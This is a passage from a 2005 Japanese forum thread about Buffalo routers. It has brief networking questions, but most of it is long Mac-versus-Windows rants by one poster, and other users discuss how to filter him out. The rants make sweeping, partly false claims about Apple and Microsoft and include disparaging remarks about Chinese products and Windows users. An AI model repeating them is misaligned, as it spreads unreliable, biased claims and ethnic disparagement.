それは、機能的に不足していれば使いたくても使えないが、
とりあえず何でも付けとけば、後はその機能を使いたい奴は
使えばいいし、いらない奴は使わなければいい。
これぞまさしく一石二鳥!っと言う発想で作られている。

良く二羽追う物は一羽も得られずと言う言葉が示すように、
重要な機能や良く使う機能が、使いもしない機能に埋もれてしまい、
使い難くなってしまっている上、トラブルの原因にもなっている。

続く・・・

505 :お男子ちゃん ◆DANGOpn1U2 :05/02/19 20:05:42 ID:04e+CMBe
続き・・・

出す部分、引っ込める部分、それを上手く選択するセンス。
それが上手くできているのが、Appleの純正ソフトであり、
評判が高い要因なのだ。

Mozillaの時はヒットせず、Firefoxに計量化したとたん大ヒットに
なったところを見ても、多くのユーザーはコテコテ重量級のソフトは
敬遠する傾向にあり、シンプルなApple製アプリを参考にする方向に
流れが動いていると言える。

が、先ほど言ったように、残す機能省く機能、それを実装する方法には
高いセンスが必要とされるので、付けるだけしか脳のないコテコテソフト
開発会社には簡単にはマネが出来ない。

そのApple独自のセンスで生まれたソフトは、どれも評判が良く、
Windows環境では利用できない物なので、Appleには昔のように、
独自の優位性が戻りつつあり、これからAppleのシェアは上がって
行くことだと思う。

何故良いソフトはMacから生まれて来たのか、その原因はこんな
ところにあるとも言えるでしょうね。

良い環境で良いセンスを育てる為にも、子供達には敢えてMacを
使わせた方が良いかもね。┐(´ー`)┌

506 :不明なデバイスさん:05/02/19 20:13:08 ID:O/HpW0do
>>502
それなりの覚悟 プ
Cクラスの192.168.0.xxxが云々で振り回されたり心配したりするようじゃ、
ただでさえ原因個所の追求が面倒なネットワークなのに、そんな所の
お荷物トラブルなんて抱えてられないよ

507 :お男子ちゃん ◆DANGOpn1U2 :05/02/19 20:16:55 ID:04e+CMBe
■Firefox、ついに2500万ダウンロード到達――1.0リリースから100日で

http://www.itmedia.co.jp/news/articles/0502/18/news099.html

評判上々のFirefoxだが、このソフトが誕生した背景には実は
Macが大きく拘っているのだ。

Mozillaの時にはあまり受けが良くなかった。

そんな時Macには同じMozillaベースでありながら、軽量高速な
Caminoや、Apple純正で軽量なSafariが誕生していた。

そしてMozillaはCaminoやSafariを目指すべく、開発のやり直しを
してFirefoxが誕生した。

最初からシンプルでセキュアな環境が揃っていたMac環境での評価は
それほどでもないが、コテコテで危険が多いWindows環境では、
凄い勢いで広がりを見せている。

Windows環境でもやっとシンプルイズベストが分かり始めて来た
ところと言うことか・・・。┐(´ー`)┌

508 :不明なデバイスさん:05/02/19 20:19:20 ID:COjI1HDH
>>497
ネットマスク以外がALL 0はネットワークアドレスだからかな?
192.168.0.0/24は192.168.0.0/16のネットワークアドレスと重なるから
使えません。

本当?



509 :お男子ちゃん ◆DANGOpn1U2 :05/02/19 20:30:13 ID:04e+CMBe
多機能は進化ではない。
私は以前からそう思い続けて来た。

一部のマニアだけが使っていたパソコンとは違い、
既に誰もがパソコンを使う時代だからこそ、多機能に進む
発展など本当の進化では無いと思っていた。

しかし世の中は反対に動いていて、ソフトはバージョンアップを
繰り返し、機能をどんどん付けて行き重量級になって行く一方だった。

しかし救世主の如く、Appleが一連のiアプリを登場させ、
Macを知るWindowsユーザーからも使い易いと大評判になった。

その流れは、今まで機能を付けるだけの進化から、シンプルで
使い易いアプリの開発に目が向けるきっかけになっている。

機能が豊富なことは使い易さには比例しないし、逆に機能が
少ないことは必ずしも不便なことに繋がらない・・・。

他のソフト会社もやっとこの重要なことに気が付き始め、使い易さ
とはどういうことなのかを見直し始めて来ている。

その流れを作ったのが、Appleのiアプリであり、パソコン市場は
またしてもAppleによって変えられようとしているのだ。

Mac環境はWindowsがなくとも育つが、Windows環境は
Macなくして成長はないのだ。┐(´ー`)┌



510 :不明なデバイスさん:05/02/19 20:41:19 ID:Xl35dQlY
うちは11から0にして問題ないけどな?
具体的にどういった問題起きるん?

数が増えてくるとトラブル起きるとか?

511 :不明なデバイスさん:05/02/19 20:41:28 ID:cxfVy9yo
縦置きって良いもんだね・・・

512 :不明なデバイスさん:05/02/19 20:42:18 ID:Xl35dQlY
やっちゃいけないらしいルーターが192.168.0.1なんだがw

いまさら変えるのマンドクセ

513 :不明なデバイスさん:05/02/19 20:49:49 ID:nbkwcI85
>>503
>プライベートアドレスなCATVとか
それは無い

ローカルなCATVは172.16.xxx.xxxか10.xxx.xxx.xxxを使う
192.168.0.xxxはクラスCなんで253台しか使えない

192.168.0.xxxはマンション内のLANで使う可能性はある

>>497
192.168.0.1 = モデム( or ルーター)の設定画面が
一般的になってしまって
ttp://192.168.0.1/
を開くとルーター( or ADSLモデム)の設定画面に・・・

514 :お男子ちゃん ◆DANGOpn1U2 :05/02/19 20:58:28 ID:04e+CMBe
基本的にWindowsよりもMacの方が何をやるにもシンプルで簡単だ。

ではWindowsがそんなに多機能でMacには無い機能が豊富なのかと
言えばそうでもなく、Macでは当たり前のことでもWindowsでは
できなかったり劣っていたりすることも少なくない。

Macを使ってまず目に入る違いは、Widnowsの文字はギザギザで
バランスもイビツで汚い表示だが、Macはプリントされたように奇麗な
文字で表示され、アイコンや画面レイアウトもシンプルで奇麗だ。

Windowsは多機能と言うより、ユーザーが必要とする機能はない癖に、
いらない機能はてんこ盛りと言った方が良いだろうか?

その違いは、双方のデスクトップを見れば一目瞭然で、Macユーザーの
デスクトップはシンプルだが、Windowsユーザーのデスクトップはアプリや
書類アイコンがまき散らされ、非常に乱雑な状態になっている場合が多い
ところを見ても明らかである。

これは、Windowsにはアプリや書類をスムーズに管理する機能がないから
こそ、自然とああなってしまう結果であると言えるだろう。

要するにWindowsには一生使うこともないであろう機能は付いていても、
日頃使う便利な機能は欠如しているとんちんかんなOSなのだ。┐(´ー`)┌

515 :497:05/02/19 20:59:05 ID:Fxp1HzQs
>502
個人的には0でも11でも文句はないのですが、昔からの癖で
つい0にしちゃうんです。 まぁ、いまのとこ僕の環境では
トラブッた事がないので、普通に使ってるんですが。
欠点とか有るなら無理に辞めようかなと思いまして、
みなさんにお伺いしたまでです。

516 :白濁液:05/02/19 21:13:52 ID:xmgsOhew

HG使ってるんだけれど、最近になってセキュリティー「高」でアタックブロック有効
にしていると、突然インターネットに接続できなくなるんでどうしたのかと思ったら、
なんとUPnPを有効にしているためにブラウザ(IE6)を開いたときに発生するマルチ
キャストをアタックと勘違いして、HG自身がWAN-INをブロックしていることがわか
った。確かにWindows特有の問題ではあるのだろうけど、かなりお粗末じゃない?

自分で自分の首を絞めて死ぬ香具師みたいなもんじゃな〜い?こんなわけで、セキュリ
ティー「中」なら問題なく動くわけですからぁ〜。残念〜!


517 :お男子ちゃん ◆DANGOpn1U2 :05/02/19 21:16:34 ID:04e+CMBe
部屋でも、もし機能的な収納ボックスがなければ物は自然と
散乱するであろうことを考えれば分かるように、Windowsには
機能的な収納ボックスはなくMacにはそれがあるのです。

文字やアイコンだけでなく、初めてMacを見た人なら、
Dockも新鮮に感じることでしょう。

Windowsにもタスクバーがあり、アプリの切り替えが出来ますが、
これは文字ベースであるが故に対象物が分かりづらいことと、
開いている書類やフォルダーまでもが一緒くたに表示されるので、
目的の物がスムーズに見つけられないデメリットがあります。

しかしMacのDockはアイコンベースである上に、アプリの起動や
切り替え替え、書類のドラッグ&ドロップまで同一ラインでこなし、
書類やフォルダーの登録もできるのる優れものです。

大した違いはないと思う方もいるかも知れませんが、両者のこの違いが、
Windowsではアプリや書類が散乱する結果を生み、Macではならないと
言う大きな違いに繋がっているのです。

518 :お男子ちゃん ◆DANGOpn1U2 :05/02/19 21:18:36 ID:04e+CMBe
>>516
>自分で自分の首を絞めて死ぬ香具師みたいなもんじゃな〜い?

ま、Windowsは全てが万事こんな感じですがね。┐(´ー`)┌

519 :不明なデバイスさん:05/02/19 21:25:03 ID:eCSpmFCm
>>お男子ちゃん ◆DANGOpn1U2

面白い!もっと頼むぜ兄貴!!

520 :不明なデバイスさん:05/02/19 21:27:52 ID:Yp7AgHAG
あぼーんの一例

517 名前:NGあぼーん [] 投稿日:NGあぼーん
NGあぼーん

518 名前:NGあぼーん [] 投稿日:NGあぼーん
NGあぼーん

>>519
頼む、専用ブラウザ使ってあぼーん設定してくれ。
ここはバッファロウのルーターのスレだ。

521 :お男子ちゃん ◆DANGOpn1U2 :05/02/19 21:31:04 ID:04e+CMBe
では、Windowsユーザーが良くやっているように、デスクトップ画面に
アプリや書類をまき散らせば使い易くなるのかと言えば、答えは
ノーでしょう?

Macならば、先ほど説明したように必要なアプリ&書類はDock上に
登録できるので、ウィンドウの下に隠れてしまうなんてことも起こり
ませんが、Windowsではいちいちウィンドウをどかせてからでないと
選択すらできません。

Windowsの操作は万事がこんな調子で、Macなら1、2ステップ
で終える作業でも、余分な行程を強いられスムーズには出来ないのです。

Macを知らない人なら、パソコンの操作とはそういう物だと思って
我慢もできているでしょうが、Macを使い常時1、2ステップで済んでいる
作業を、Windowsだと2倍、3倍のステップを強いられると、
バカらしい気分になってしまいます。

ま、Macのスムーズな操作感を知らぬ方が幸せなのかも知れませんね。┐(´ー`)┌

522 :不明なデバイスさん:05/02/19 22:05:11 ID:eCSpmFCm
>>520

確かに貴方のおっしゃる通りだ。
団子の兄貴、兄貴の言っている事はうなずけるが
書く場所を間違えているのが残念っす!

523 :お男子ちゃん ◆DANGOpn1U2 :05/02/19 22:05:44 ID:04e+CMBe
以前の話とダブリますが、パソコンを安全に使う土台となる機能に
目を向けてみても、MacにはWindowsにない優位な機能が数多くあります。

まず、S.M.A.R.T.機能によりディスクは未然にトラブルを回避でき、
ジャーナリング機能によりファイルは破損事故から守られ、
RAID機能により、ディスクの高速化や万が一のディスクトラブルにも
対処できる機能が標準で備わっているのです。

その上、常時ディスクの断片化を解消する機能が働いているので、
使用時間と共に次第に動作速度が落ちて行くと言うこともありません。

一方、セキュリティー面に目を向けてみても、FileVault機能を搭載し、
データーを全て自動で暗号処理する機能によって、ユーザーは意識する
ことなく、データーをより安全に管理することができるように配慮されて
いるのです。

このようにMacはデーターを安全に管理すると言うもっとも重要で
基本的な部分にも配慮され作られていることも、Windowsのような
セキュリティーの非常に低い危険なOSとは全く素質の違うOSなのです。

そんな高級な環境が、今ではたったの5万8590円で手に入るのだら、
良い時代になったものですね。

Macにはプロの現場で通用する6万円もする高価なフォントが
標準搭載され、プログラミング環境も標準搭載されている所を見ても、
Mac miniが如何にお得なパソコンなのか分かると思います。
http://www.apple.com/jp/macmini/

524 :お男子ちゃん ◆DANGOpn1U2 :05/02/19 22:07:11 ID:04e+CMBe
>>522
>書く場所を間違えているのが残念っす!

本来書くべきスレに私のスレに数々を
コピペして来て下さい。(・∀・;)

525 :不明なデバイスさん:05/02/19 22:25:44 ID:Ybj5uALd
見えてないから何やってくれてもいいよん

526 :不明なデバイスさん:05/02/19 22:31:07 ID:erIuFu3O
何だ、結局相手をするんだな。

527 :不明なデバイスさん:05/02/19 22:35:22 ID:XTbhz2f9
見えないていいね
腐ったリンゴじゃ専用ブラウザなんて無いからね
ギコナビじゃ_ [ ]になってるよ


528 :不明なデバイスさん:05/02/19 22:36:21 ID:erIuFu3O
やっぱり相手をするのか。
いい調子だったのに。

529 :不明なデバイスさん:05/02/19 22:36:32 ID:Ybj5uALd
まぁMACは糞じゃないがユーザーが糞だからな

530 :お団子ちゃん ◆DANGOpn1U2 :05/02/19 22:37:46 ID:04e+CMBe
MacにはMac os Winを車に例えると言う習わしがあるので、
例外に漏れず車の例えで両者を表現すると・・・。

Macは堅牢でフル装備の高級ドイツ車。

WindowsはABSもパワステ&パワーウィンドウすらも
装備していないポンコツトラックベースの自家用車。

物は粗悪だが、住民だけはうじゃうじゃいる中国産。

531 :不明なデバイスさん:05/02/19 22:39:08 ID:Ybj5uALd
この程度の餌で非表示がまた増えた
めっちゃワロタ

532 :不明なデバイスさん:05/02/19 22:40:48 ID:erIuFu3O
ま、このスレの住人は団子ちゃんの相手が大好きなみたいだからいいか。

533 :不明なデバイスさん:05/02/19 22:44:54 ID:Ybj5uALd
いや、オレもウザかったんだけどさ
非表示マスターしてから増えるのが楽しいのよ、マジで
なんかバカが外野で騒いでるって感じでさ

534 :不明なデバイスさん:05/02/19 22:48:09 ID:erIuFu3O
そうやってアホみたいに団子の書き込みに反応してるのにうんざりしてるやつがいることに気付け
おまいが楽しいかどうかなんてどうでもいい&スレ違い。チラシの裏にでも書いとけ。

535 :不明なデバイスさん:05/02/19 22:48:39 ID:Yp7AgHAG
迷惑だし無駄にレス消費されるから止めろよ餓鬼ども

536 :不明なデバイスさん:05/02/19 22:51:22 ID:erIuFu3O
真っ先に反応したやつが何言ってんだか

537 :不明なデバイスさん:05/02/19 22:56:39 ID:XTbhz2f9
ワラタ

538 :不明なデバイスさん:05/02/19 23:00:48 ID:dA/w14FE
激しくワロタ

539 :不明なデバイスさん:05/02/19 23:11:54 ID:VPF7Kavg
>>484
「再読込み」じゃなくて「ソフトを再起動」でOKでした。

540 :お団子ちゃん ◆DANGOpn1U2 :05/02/19 23:16:17 ID:04e+CMBe
AppleのiPod Shuffleは512MBで1万980円ですが、先日ケンウッドから
発売されたフラッシュプレーヤーは512MBモデルで、何と1万9800円もします。

これは、iPod Shuffleなら2倍の容量の1GB版を買っても、まだ3000円も
高い価格です。

そしてもし、NECや富士通、SONYといった会社がMac miniのような
パソコンを作ったら、5万8590円などという価格では間違っても発売
できないでしょうね。

アップルのサポート評価は世界1であることを考慮すれば、既に
アップルの製品は高いどころか、かなりお得なレベルに達しており、
これほど良い安く売っている会社もめずらしいと言えるでしょう。

マイクロソフトのOSやオフィスソフトはぼったくり価格で販売されて
いるのとは対象的ですね。(´∀`)

541 :お団子ちゃん ◆DANGOpn1U2 :05/02/19 23:27:38 ID:04e+CMBe
オフィスを買う金額で、OSや色々なソフトまで含まれた
Mac mini自体が買えてしまうのだから、Macが安いと
言うか、マイクロソフトがぼったくり過ぎと言うのか・・・。

ま、Mac OSは6万円のフォントを搭載した上で、1万5540円で
売られていることや、他社のオフォスソフトがたったの2980円で
売られている現実を見れば、明きからにマイクロソフトは独占を
良いことにぼったくり販売をしていると言えるでしょうね。

ま、そんな会社を支えているのが、君たちドザなんだけどね。┐(´ー`)┌

542 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 00:54:33 ID:YxbPPOvj
今、東大では1000台以上のほとんどのパソコンがMacに入れ替えられ、
東京女子大や名古屋商科大学など、大学でMacを導入する事例が増えて
来ていますが、その背景には、UNIXとWindowsの双方のメリットを
高次元で達成していることだけでなく、Macならば個々のマシンにOSや
ソフトをインストールする必要がなく、サーバーからOSを立ち上げ、
データーを一括管理できるので、アップデート作業やメンテナンスなども
個々のマシンにする必要がないと言う大きなメリットがあることです。

それに加えMacならサーバー経由でWindowsを表示・コントロールもできるので、
Macをメインにすることで、それぞれのOSが持つメリットをシンプルな構成で
活用することができるところもMacが選ばれている大きな要因になっています。

543 :不明なデバイスさん:05/02/20 00:54:47 ID:zLEIOxUr
ダンゴのオナニーが炸裂してるな





見えないけど

544 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 01:01:47 ID:YxbPPOvj
大学とMacの繋がりは今に始まったことではなく、よく学者や教授などが
TVに映る際に、かなりの確率で一緒にMacが映っていることに気づいている人も
多いと思いますが、Mac以前から大学、音楽、映画、出版、放送と、
事務系以外では割とスタンダードな存在で使われて来ました。

その背景には、Windowsは管理者が必要になるほど難儀なOSであるため、
より個人レベルで扱い易いMacが選ばれて来たと言うことも原因としてあると思われます。

大きな会社なら専属の管理者を雇ってトラブルやメンテナンスに対処していますが、
それほど大きくない組織ではそんな贅沢や時間も作れませんから、その必要のない
簡単なMacが選ばれて来たのでしょう。

545 :不明なデバイスさん:05/02/20 01:01:47 ID:hUXF7pMr
>>520
それ何のブラウザ?

ぎこなびだと
517 名前: [ ] 投稿日:

518 名前: [ ] 投稿日:

519 名前: [ ] 投稿日:

なんだが

かちゅ〜しゃだとレス番号が見事に飛ぶ(削除したみたいでレス番号を見ないとあぼ〜んが分からん)

546 :不明なデバイスさん:05/02/20 01:08:10 ID:zvomtZh2
>>545
通常あぼーんと透明あぼーんを選べない?

547 :不明なデバイスさん:05/02/20 01:10:49 ID:zLEIOxUr
ホットゾヌ2だと本文は番号ごと削除されて、ステータスログに

・アクション作動:『非表示』 →544

って表示されるだけ。番号確認しないと飛んだのがわからないな
いまはめっちゃ快適だ

548 :名無しさん@Vim%Chalice:05/02/20 01:12:39 ID:w3w2KVPb
Vim エディタで使える 2ちゃんねるブラウザの Chalice では、
~/.vimrc  ( Linux )
%HOME%/_vimrc  ( Windows )
の中で、chalice_ngwords を設定することで、
「ローカルあぼーん」ができます。

くわしくは、
:h chalice
してください。

「ローカルあぼーん」を全部に反映するには、
スレ表示バッファで R キーを押してください。

549 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 01:13:45 ID:YxbPPOvj
小さい組織ですら管理・メンテナンスが大変なWindnowsが
個人利用になど向くはずもなく、このOSを選んだことで本来の目的以外の所で、
余分な苦労を強いられている人や、調子悪いのが当たり前になってしまった人も
少ないないことでしょうね。

Widnowsユーザーが日々当たり前のように感じている苦労は、
Macユーザーになれば解放されるのだから、三流品を選んで
しまった愚かさは感じていた方が良いかも知れませんよ。┐(´ー`)┌


550 :不明なデバイスさん:05/02/20 01:15:02 ID:PtvQ785W
次のファームにダンゴフィルタ機能が追加されるらしいよ

551 :不明なデバイスさん:05/02/20 01:18:16 ID:6gfF+eOz
>>545
http://pc5.2ch.net/test/read.cgi/software/1099417305/

552 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 01:19:21 ID:YxbPPOvj
>550

Macの純正メールソフトには、出来の良い迷惑メール排除フィルターが
付いてるけどWidnowsには無いよね〜。

WindowsのIEはポップアップ広告を排除する機能も、タブ機能もないけど、
Macには標準搭載されてる・・・。

ほんといらない機能は多いのに、大事な機能は付いてないね。
ウィンドウズって・・・。┐(´ー`)┌

553 :不明なデバイスさん:05/02/20 01:21:09 ID:gpehUhzT
空白が目立つな・・・・

まぁ、気にしなければいいからなw

554 :不明なデバイスさん:05/02/20 01:32:20 ID:2kEIWzgL
何この、あぼーんだらけは・・・。

555 :不明なデバイスさん:05/02/20 01:34:13 ID:hUXF7pMr
>>551
うぃ〜

>>546
ぎこなび(bata49 build 569)は
・NGワードの行数表示
・レスポップアップのあぼ〜ん有効
・あぼ〜んしたレスへのレスアンカー追加 (あぼ〜んした部分がポップアップで表示可能)
こんな感じで選べないようだ

注:標準スキン使用

スキンによって変わるかも

556 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 01:45:00 ID:YxbPPOvj
そろそろ皆さん如何にWidnowsがポンコツの三流OSか理解し、
次第にMacが欲しくなって来たことだと思うけど、
何もWindowsをいきなり捨ててMacオンリーにスイッチする必要もなく、
現在のシステムにMacを追加して、Windowsでしか出来ないことは
引き続きWindowsでやれば良いのだ。

Mac miniの登場でMacに目を向ける人も増えただろうが、
Mac miniは他のMacとは違い、マウス&キーボードは付属していない。

WindowsユーザーがMac miniを使う場合、もちろん追加のマウス&キーボードは
必要はなく、主に以下の2種類の接続方法がある。

【隣の部屋にあるWindowsをこちらの部屋のMacで利用するってことも可能】

Mac miniにマウス&キーボード&モニターを接続し、下記のRDCCを
インストールしてMac miniとWinマシンをそれぞれをルーターに接続すれば、
Macの画面にWindowsを表示し操作出来るので両方のOSを同時利用できる。
http://www.microsoft.com/japan/mac/products/rdc/default.asp?navindex=s10e

【両方のマシンを切り替えながら利用する】

モニターのアナログ入力・デジタル入力それぞれにMac miniとWinマシンを接続し、
USB切り替え機にマウス&キーボードを接続し、双方のマシンで共有できるようにする。

※Macはプリンターの共有を初めWindowsとの共有機能も充実している。

557 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 01:53:29 ID:YxbPPOvj
メインのマシンをMacにすることで、年間100を超えるバカバカしい
セキュリティーアップデートやウィルス・スパイウェアの検査から解放され、
ネットに潜むさまざまな危険から解放される。

最初はサブでWindowsを立ち上げることも多いだろうが、メンテの面倒さや、
ポンコツOSに次第に嫌気がさし、そのうち起動するのも嫌になることだろう。┐(´ー`)┌

558 :不明なデバイスさん:05/02/20 02:36:18 ID:braUOWwz
A Boneだと あぼ〜ん ってなってるw

559 :不明なデバイスさん:05/02/20 02:47:37 ID:0DYCTQpD
各ブラウザによって表示に個々の差はあるが

「あぼ〜ん」
名前等がすべて"あぼ〜ん"等に置き換えられる&カキコは空白。

「透明あぼ〜ん」
レス番からまるごと消える。
該当のレスは無かったことになり、レス番が飛んで表示される。

お好みの設定でどうぞ。どう表示されるかは問題でなく、
あぼ〜んすることが大切。個々の表示について語る必要なし。

560 :不明なデバイスさん:05/02/20 03:26:10 ID:HdNEhkOp
OpenJane Doe ではこんなです。
今日のオナニーショーは激しかったね。
でも「あぼ〜ん」設定だから問題ナッシング!

****
556 名前:あぼ〜ん[あぼ〜ん] 投稿日:あぼ〜ん
あぼ〜ん

557 名前:あぼ〜ん[あぼ〜ん] 投稿日:あぼ〜ん
あぼ〜ん

561 :不明なデバイスさん:05/02/20 03:37:07 ID:2H9CQd7L
「あぼ〜んだから見えないよーだ」系のレスもいらん。

562 :不明なデバイスさん:05/02/20 08:59:09 ID:aKmxL/Q4
確かに

563 :不明なデバイスさん:05/02/20 09:52:31 ID:d7oox5Qz
「専用ブラウザのあぼーん機能使え」系のレスもいらん。


564 :不明なデバイスさん:05/02/20 10:53:39 ID:qWlHaqdN
HG/MGが実は同じものだったことが広まると立場が危なくなる担当者が偽装マカでスレの進行を妨げてるだけだろ

565 :不明なデバイスさん:05/02/20 11:02:10 ID:d1uOrqZo
喪前ら、ここは
バッファロー【BBR-4HG/4MG 統合スレッド】 その5
http://pc5.2ch.net/test/read.cgi/hard/1107619705/l50
という事をお忘れなくw

566 :不明なデバイスさん:05/02/20 12:38:13 ID:ps5xoXZw
忘れてるのは1本だけだろ

567 :不明なデバイスさん:05/02/20 14:24:47 ID:5te1+16v
あぼーんもあぼーんすれば?

568 :不明なデバイスさん:05/02/20 15:20:31 ID:2TR7lJbu
肝心のルーターの話が全く出ないのだが。
まぁしかた無いか、そうそうネタあるわけでも無いし

569 :不明なデバイスさん:05/02/20 15:39:32 ID:t3dbzgCi
今年になって新ファームでた?

570 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 16:09:17 ID:YxbPPOvj
これが日々君たちが見ているギザギザでバランスもイビツな
汚いWindowsの表示画面。↓

http://pukapuka.s1.x-beat.com/img-box/img20050220160406.png

一方こちらは日々マカーが目にしている美しいMacの表示画面。↓

http://pukapuka.s1.x-beat.com/img-box/img20050220160317.png

571 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 16:13:18 ID:YxbPPOvj
↑256色に減色して容量削減してアップしたので、
リアルとは色が少々違っております。

572 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 16:23:38 ID:YxbPPOvj
君たちが間接的にAppleのお世話になってきている証拠を
もう一つ挙げてみよう。

今のノートブックはキーボードが奥まりトラックパットが搭載され
パームレストでらくちんタイピングが当たり前になっているが、
このデザインを作ったのもAppleなのだ。

キーボードを奥に移動させトラックボールを搭載すれば他社もマネをし、
今度はトラックボールの代わりにトラックパットを装備すらば、
また各社がマネをすると言ったぐあいに、皆Appleのやることを
パクリまくって現在のノートブックのスタイルになったのだ。

今やパソコンでCD-ROMを使うのは当然のこととなっているが、
これをスタンダードの地位に引き上げたのもAppleであり、
当たり前の様に使っているマウスでの操作や、グラフィカル
インターフェイスを確立したのもMacあってのことなのだ。

とにかく、今当たり前だと思って使っている多くのスタイルは、
ほとんどMacから生まれ育った物だと言うことは認識しておいた
方が良いだろう。

573 :不明なデバイスさん:05/02/20 16:48:47 ID:2TR7lJbu
>>569
未だβファームのみだ。

574 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 16:52:56 ID:YxbPPOvj
Windows前身であるMS-DOSはキーボードで命令文を打ち込んで
ファイルの操作をしたりソフトの起動をすると言う、難解で一般の人には
敷居の高いOSだったのだ。

しかし、そんな時代でもMacは今と変わらぬ操作を確立していたのだ。

上部にメニューバー持ち、アイコン、ゴミ箱、ドラッグ&ドロップ、
コントロールパネル、全ての基本は当時から持っていた。

この両者の違い見て分かるように、MacとWindowsではDNAが根本的に
違っており、この大きなルーツの違いこそが、Widnowsがグラフィカル
インターフェイスも持った現在であっても、Windowsは難解で使いづらく、
Macはシンプルで使い易いと言う大きな違いを生む根源になっている。

マイクロソフトはパクってMS-DOSも誕生させた次は、MacOSをパクり
Widnows 95を誕生させ現在に至が、ソフトウェアに対する法的整備の
薄かった時代にパクリまくって大きくなった会社などに、良い物を開発
できる能力などあるわけもなく、中国クオリティの製品を売り続ける
結果に繋がっている。

575 :不明なデバイスさん:05/02/20 17:27:32 ID:8eJl7Sla
ほら、こんなにレス番が飛んでる

576 :不明なデバイスさん:05/02/20 17:30:53 ID:gpehUhzT
構うな・・・スレ乗っ取った話できれば問題ない

577 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 18:09:18 ID:YxbPPOvj
事務系ソフトとして培ってきたWindowsマシンは
皆、薄汚いベージュの見栄えなど2の次の製品ばかりだったが、
今のようにデザインが代わって来たのも、Macがベージュ一色だった
パソコン環境からの脱皮をしiMacやiBookを誕生させたのが切っ掛けだ。

現在自作派の中で、キューブ型ケースはスタンダードになっているが、
これもAppleがキューブを出したからこそだろう。

AppleがカラフルなシースルーのiMacを出せば、パソコン業界だけに
留まらず、社会現象になるほどシースルーの製品で世の中が埋め尽くされた。

この様に、パソコン業界はAppleとMacあってこそ発展してきた文化であり、
Windowsユーザーであっても間接的にMacの世話になっている部分は多いのだ。

そんな数々の現実を知らぬか、Macをバカにする発言を平気でしている人も見かけるが、MS-DOSもWindowsもパクって作った物であり、
マイクロソフトが生んだ文化など何もないと言うことは知って
おいた方が良いだろう。


578 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 18:20:45 ID:YxbPPOvj
今、無線インターネットはスダンダードになっているが、
この流れを作ったのもAppleであり、Macなのだ。

残念ながら途中でその戦略は変更されてしまったが、実はTVチューナ搭載の
パソコンやAV仕様のパソコンを作ったのもMacが数段速かった。

成功したとは言えないが、PADやゲーム機を早い段階で
登場させたのもAppleだった。

以前も言ったように、マイクロソフトがなくともパソコン社会は
育つが、Appleなくしては育たないのだ。

いや、むしろマイクロソフトなど消えた方が育つとさえ言える。

この会社によって失った物は数多くあり、例え製品でも巨人の
圧力によって消えて行った製品も数多い。

579 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 18:22:04 ID:YxbPPOvj
>>578
>この会社によって失った物は数多くあり、例え製品でも巨人の
>圧力によって消えて行った製品も数多い。

これを積極的に手助けして来たのが君たちドザなのだが、
自分たちの手で自分たちの環境を悪化させていると言う
現実にそろそろ気が付いた方が良いころだ・・・。┐(´ー`)┌

580 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 18:24:08 ID:YxbPPOvj
パソコン環境が今の様に発展できたのは、私たちマカーが
アップル製品を買い支えて来たこそであり、マカーが居なければ
君たちが現在味わっている環境も無かったのだ。

ドザは害を支えているが、マカーは善を支えて来たのだ。

581 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 18:33:32 ID:YxbPPOvj
今、オープンソースが盛んでWindowsユーザーもその恵みの
世話になる機会も多いが、Appleはこのオープンソースに参加し、
双方メリットになるよう活動しているが、マイクロソフトは
オープンソースを敵視し、妨害活動をしている会社なのだ。

そんなマイクロソフトを支えているのが、君たちドザであり、
パソコン環境発展の足かせを作っているのだ。

582 :不明なデバイスさん:05/02/20 18:35:59 ID:G4xoQzoL
そろそろ新ファームが出てもいいんじゃないかと(;´Д`)メルコサソ

583 :不明なデバイスさん:05/02/20 18:41:55 ID:hUXF7pMr
>>582
不具合が出ないと新しいファームが出ない



ところでweb鯖にする企画はどうなった?
問題があったとかで消滅したままではあるまい

584 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 19:08:57 ID:YxbPPOvj
マイクロソフトのOSやオフィスは他社の2倍も3倍も高値で
ぼったくり販売され続けている。

Appleはハードもソフトも自社生産なので、Mac miniやiBookなど
格安の製品を作ることが出来るが、マイクロソフトから高価な
ライセンス契約の元作られる他社のパソコンでは利益は出難く、
シェアはAppleより高くとも赤字を出し続けている会社も少なくない。

コンパックは買収され、IBMもコンシューマパソコン市場から撤退した。

Macは長らく生き延びて来たが、Windowsの様な会社がノサバり続けて
いることはパソコン社会全体から見ればメリットではなく、よりより
環境への発展の妨げになっているのが現実なのだ。

パクりまくり、ライバル潰しまくりを続けて来た悪徳会社である
マイクロソフトの悪事を阻止する為にも、ドザ達は自らの行って来た
浅はかな行動を今一度見つめ直すべきだろう・・・。

585 :不明なデバイスさん:05/02/20 19:25:43 ID:0Wb7ftu1
何この基地外マカー・・・

586 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 19:35:15 ID:YxbPPOvj
今のパソコンを作り上げて来たAppleが、今後もし無くなってしまったら、
パソコン業界に大ダメージを及ぼすことは明らかだが、
マイクロソフトが無くなったらパソコン業界はより良い物へと発展するで
あろうことは間違いない。

インテルがより安く高性能なAMDチップを採用しないよう、業界に圧力をかけ
ユーザーの不利益を生じさせて来たように、マイクロソフトもまたユーザーの
メリットには成らない行動ばかり続けて来た。

もしWidnowsOSが支配するパソコン環境ではなく、Mac OSやBeOSが
スタンダードになっていたら、これほど多くの人達が何時間も無駄に
アップデートに追われたりネットの危険にされされることも無かったであろう。

良い物が残り悪い物は淘汰されるのが市場だと思い込んでいる人もいるが、
実際にはそうではなく、いくら良い物でも力のない会社の製品は淘汰されるのが
現実なのだ。

だからこそ、長らくソニーと言う粗悪な製品を売り続けていた会社が
もてはやされて来たところを見ても明きからであろう。

587 :不明なデバイスさん:05/02/20 19:35:51 ID:8DjcGcPg
>Appleはハードもソフトも自社生産

 韓国LG製ですが(w


